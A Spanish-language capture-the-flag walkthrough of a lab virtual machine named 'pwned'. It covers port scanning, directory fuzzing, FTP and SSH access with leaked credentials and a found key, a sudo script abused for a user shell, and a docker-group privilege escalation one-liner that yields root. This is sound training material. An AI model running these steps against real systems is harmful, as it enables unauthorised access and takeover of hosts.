Comenzamos con un escaneo de todos los puertos y luego uno específico:
nmap -sC -sV -p21,22,80 -oN 02-targeted 192.168.1.30
Nmap scan report for 192.168.1.30
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
| 256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_ 256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Pwned....!!
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:CA:93:4B (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 17 21:49:29 2023 -- 1 IP address (1 host up) scanned in 7.71 secondsLa web muestra un mensaje del "hacker" y un comentario en el código fuente. Enumeramos directorios con gobuster:
gobuster dir -u http://192.168.1.30 -w ~/Documentos/git-clones/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
/.html (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 3065]
/robots.txt (Status: 200) [Size: 41]
/nothing (Status: 301) [Size: 314] [--> http://192.168.1.30/nothing/]
/.html (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
/hidden_text (Status: 301) [Size: 318] [--> http://192.168.1.30/hidden_text/]El robots.txt apunta a /nothing (vacío). En /hidden_text encontramos un archivo secret.dic, que usamos como diccionario para un nuevo fuzzing:
gobuster dir -u http://192.168.1.30 -w secret.dic -x php,txt,html
/pwned.vuln (Status: 301) [Size: 317] [--> http://192.168.1.30/pwned.vuln/]/pwned.vuln contiene un login cuyo código fuente filtra unas credenciales, que resultan ser del servicio FTP:
❯ ftp 192.168.1.30
Connected to 192.168.1.30.
220 (vsFTPd 3.0.3)
Name (192.168.1.30:wh01s17): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>En el FTP hay una carpeta share con una clave RSA y un .txt que contiene un nombre de usuario. Usamos la id_rsa (con permisos 600) y el usuario ariana para entrar por SSH:
❯ ssh -i id_rsa ariana@192.168.1.30
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$Obtenemos la primera flag. Para la escalada, revisamos sudo -l:
Matching Defaults entries for ariana on pwned:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.shPodemos ejecutar messenger.sh como selena. El script simula un chat pero internamente usa echo para mostrar lo que escribimos, por lo que basta con escribir bash para obtener una shell como selena. Capturamos la segunda flag.
sudo -l y la búsqueda de binarios SUID no dan resultados, pero al ejecutar id vemos que pertenecemos al grupo docker:
selena@pwned:/usr/share$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)Abusamos del grupo docker (Privileged Groups Privesc) para montar el host en un contenedor y obtener root:
docker run -v /:/mnt --rm -it alpine chroot /mnt shCapturamos la última flag.
Fin.